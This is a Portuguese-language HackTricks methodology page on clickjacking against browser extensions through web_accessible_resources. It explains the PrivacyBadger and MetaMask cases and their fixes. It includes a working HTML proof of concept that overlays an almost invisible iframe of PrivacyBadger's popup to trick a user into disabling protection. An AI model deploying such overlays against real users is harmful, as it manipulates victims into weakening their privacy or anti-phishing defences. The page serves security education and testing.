hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md

127 lines
7.4 KiB
Markdown

# BrowExt - ClickJacking
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Informações Básicas
Esta página vai explorar uma vulnerabilidade de ClickJacking em uma extensão de navegador.\
Se você não sabe o que é ClickJacking, confira:
{% content-ref url="../clickjacking.md" %}
[clickjacking.md](../clickjacking.md)
{% endcontent-ref %}
As extensões contêm o arquivo **`manifest.json`** e esse arquivo JSON tem um campo `web_accessible_resources`. Aqui está o que [a documentação do Chrome](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) diz sobre isso:
> Esses recursos estariam então disponíveis em uma página da web via a URL **`chrome-extension://[PACKAGE ID]/[PATH]`**, que pode ser gerada com o **`extension.getURL method`**. Recursos permitidos são servidos com cabeçalhos CORS apropriados, então estão disponíveis via mecanismos como XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
Os **`web_accessible_resources`** em uma extensão de navegador não são apenas acessíveis via a web; eles também operam com os privilégios inerentes da extensão. Isso significa que eles têm a capacidade de:
* Mudar o estado da extensão
* Carregar recursos adicionais
* Interagir com o navegador até certo ponto
No entanto, esse recurso apresenta um risco de segurança. Se um recurso dentro de **`web_accessible_resources`** tiver alguma funcionalidade significativa, um atacante poderia potencialmente incorporar esse recurso em uma página da web externa. Usuários desavisados que visitam essa página podem inadvertidamente ativar esse recurso incorporado. Tal ativação pode levar a consequências indesejadas, dependendo das permissões e capacidades dos recursos da extensão.
## Exemplo PrivacyBadger
Na extensão PrivacyBadger, uma vulnerabilidade foi identificada relacionada ao diretório `skin/` sendo declarado como `web_accessible_resources` da seguinte maneira (Confira o [post original do blog](https://blog.lizzie.io/clickjacking-privacy-badger.html)):
```json
"web_accessible_resources": [
"skin/*",
"icons/*"
]
```
Esta configuração levou a um potencial problema de segurança. Especificamente, o arquivo `skin/popup.html`, que é renderizado ao interagir com o ícone do PrivacyBadger no navegador, poderia ser incorporado dentro de um `iframe`. Essa incorporação poderia ser explorada para enganar os usuários a clicarem inadvertidamente em "Desativar PrivacyBadger para este Site". Tal ação comprometeria a privacidade do usuário ao desativar a proteção do PrivacyBadger e potencialmente sujeitar o usuário a um rastreamento aumentado. Uma demonstração visual dessa exploração pode ser vista em um exemplo de vídeo de ClickJacking fornecido em [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
Para resolver essa vulnerabilidade, uma solução simples foi implementada: a remoção de `/skin/*` da lista de `web_accessible_resources`. Essa mudança mitigou efetivamente o risco, garantindo que o conteúdo do diretório `skin/` não pudesse ser acessado ou manipulado através de recursos acessíveis pela web.
A correção foi fácil: **remover `/skin/*` dos `web_accessible_resources`**.
### PoC
```html
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>
<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
```
## Exemplo Metamask
Um [**post de blog sobre um ClickJacking no metamask pode ser encontrado aqui**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). Neste caso, o Metamask corrigiu a vulnerabilidade verificando se o protocolo usado para acessá-lo era **`https:`** ou **`http:`** (não **`chrome:`** por exemplo):
<figure><img src="../../.gitbook/assets/image (21).png" alt=""><figcaption></figcaption></figure>
**Outro ClickJacking corrigido** na extensão Metamask foi que os usuários podiam **Clicar para adicionar à lista de permissões** quando uma página era suspeita de phishing por causa de `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Como essa página era vulnerável ao Clickjacking, um atacante poderia abusar dela mostrando algo normal para fazer a vítima clicar para adicioná-la à lista de permissões sem perceber, e então voltar para a página de phishing que será adicionada à lista de permissões.
## Exemplo Steam Inventory Helper
Verifique a página a seguir para ver como um **XSS** em uma extensão de navegador foi encadeado com uma vulnerabilidade de **ClickJacking**:
{% content-ref url="browext-xss-example.md" %}
[browext-xss-example.md](browext-xss-example.md)
{% endcontent-ref %}
## Referências
* [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html)
* [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}